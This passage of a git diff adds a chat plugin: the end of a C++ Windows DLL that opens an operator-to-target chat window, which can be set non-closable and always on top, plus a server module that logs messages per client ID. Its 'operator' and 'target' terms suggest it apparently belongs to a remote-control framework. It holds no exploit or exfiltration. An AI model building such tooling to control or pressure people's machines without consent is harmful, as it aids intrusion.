CreateThread(NULL, 0, WindowThreadProc, NULL, 0, NULL); +} + +/* ------------------------------------------------------------------ */ +/* Plugin ABI exports */ +/* ------------------------------------------------------------------ */ + +EXPORT const char *PluginGetRuntime() { + return "cpp"; +} + +EXPORT void PluginSetCallback(uint64_t cb) { + g_callback = reinterpret_cast(static_cast(cb)); +} + +EXPORT int PluginOnLoad(const char *hostInfo, int hostInfoLen, uint64_t cb) { + g_callback = reinterpret_cast(static_cast(cb)); + + if (!g_cs_init) { + InitializeCriticalSection(&g_cs); + g_cs_init = true; + } + + std::string cid = json_extract(hostInfo, hostInfoLen, "clientId"); + strncpy(g_client_id, cid.c_str(), sizeof(g_client_id) - 1); + g_client_id[sizeof(g_client_id) - 1] = '\0'; + + fprintf(stderr, "[chat] loaded, clientId=%s\n", g_client_id); + send_event("ready", "{\"message\":\"chat plugin ready\"}"); + return 0; +} + +EXPORT int PluginOnEvent(const char *event, int eventLen, + const char *payload, int payloadLen) { + std::string ev(event, (size_t)eventLen); + std::string pl(payload ? payload : "", payload ? (size_t)payloadLen : 0u); + + if (ev == "open_chat") { + std::string opName = json_extract(pl.c_str(), (int)pl.size(), "operatorName"); + std::string tgName = json_extract(pl.c_str(), (int)pl.size(), "targetName"); + std::string title = json_extract(pl.c_str(), (int)pl.size(), "title"); + bool closable = json_extract_bool(pl.c_str(), (int)pl.size(), "closable", true); + bool onTop = json_extract_bool(pl.c_str(), (int)pl.size(), "alwaysOnTop", false); + + EnterCriticalSection(&g_cs); + if (!opName.empty()) strncpy(g_config.operatorName, opName.c_str(), sizeof(g_config.operatorName) - 1); + if (!tgName.empty()) strncpy(g_config.targetName, tgName.c_str(), sizeof(g_config.targetName) - 1); + if (!title.empty()) strncpy(g_config.title, title.c_str(), sizeof(g_config.title) - 1); + g_config.closable = closable; + g_config.alwaysOnTop = onTop; + LeaveCriticalSection(&g_cs); + + open_chat_window(); + return 0; + } + + if (ev == "chat_message") { + std::string from = json_extract(pl.c_str(), (int)pl.size(), "from"); + std::string text = json_extract(pl.c_str(), (int)pl.size(), "text"); + if (from.empty()) from = g_config.operatorName; + std::string display = from + ": " + text + "\r\n"; + + if (g_hwnd) { + char *dup = _strdup(display.c_str()); + PostMessageA(g_hwnd, WM_CHAT_APPEND, 0, (LPARAM)dup); + } + return 0; + } + + if (ev == "close_chat") { + if (g_hwnd) send_event("chat_closed", "{}"); + close_chat_window(); + return 0; + } + + fprintf(stderr, "[chat] unhandled event: %s\n", ev.c_str()); + return 0; +} + +EXPORT void PluginOnUnload() { + fprintf(stderr, "[chat] unloading\n"); + close_chat_window(); + g_callback = nullptr; + g_client_id[0] = '\0'; + if (g_cs_init) { + DeleteCriticalSection(&g_cs); + g_cs_init = false; + } + if (g_class_reg) { + UnregisterClassA(WND_CLASS_NAME, g_hInstance); + g_class_reg = false; + } +} diff --git a/plugins/chat/server.js b/plugins/chat/server.js new file mode 100644 index 0000000..adbe6b6 --- /dev/null +++ b/plugins/chat/server.js @@ -0,0 +1,84 @@ +export default { + setup(ctx) { + ctx.db.exec(` + CREATE TABLE IF NOT EXISTS messages ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + sender TEXT NOT NULL, + direction TEXT NOT NULL, + text TEXT NOT NULL, + timestamp INTEGER NOT NULL + ); + `); + try { + ctx.db.exec( + `CREATE INDEX IF NOT EXISTS msg_by_client ON messages(client_id, timestamp)` + ); + } catch (_) {} + }, + + onEvent(ctx, clientId, event, payload) { + if (event === "chat_message") { + const ts = Date.now(); + ctx.db + .prepare( + `INSERT INTO messages(client_id, sender, direction, text, timestamp) VALUES (?, ?, ?, ?, ?)` + ) + .run( + clientId, + payload.from || "Unknown", + "from_target", + payload.text || "", + ts + ); + ctx.broadcast("new_message", { + clientId, + sender: payload.from || "Unknown", + direction: "from_target", + text: payload.text || "", + timestamp: ts, + }); + } + if (event === "chat_opened") { + ctx.broadcast("chat_status", { clientId, status: "opened" }); + } + if (event === "chat_closed") { + ctx.broadcast("chat_status", { clientId, status: "closed" }); + } + }, + + rpc: { + get_history(ctx, params) { + return ctx.db + .prepare( + `SELECT * FROM messages WHERE client_id = ? ORDER BY timestamp ASC LIMIT 500` + ) + .all(params.clientId); + }, + + store_message(ctx, params) { + const ts = Date.now(); + ctx.db + .prepare( + `INSERT INTO messages(client_id, sender, direction, text, timestamp) VALUES (?, ?, ?, ?, ?)` + ) + .run(params.clientId, params.sender, "to_target", params.text, ts); + ctx.broadcast("new_message", { + clientId: params.clientId, + sender: params.sender, + direction: "to_target", + text: params.text, + timestamp: ts, + }); + return { ok: true, timestamp: ts }; + }, + + clear_history(ctx, params) { + ctx.db + .prepare(`DELETE FROM messages WHERE client_id = ?`) + .run(params.clientId); + ctx.broadcast("history_cleared", { clientId: params.clientId }); + return { ok: true }; + }, + }, +};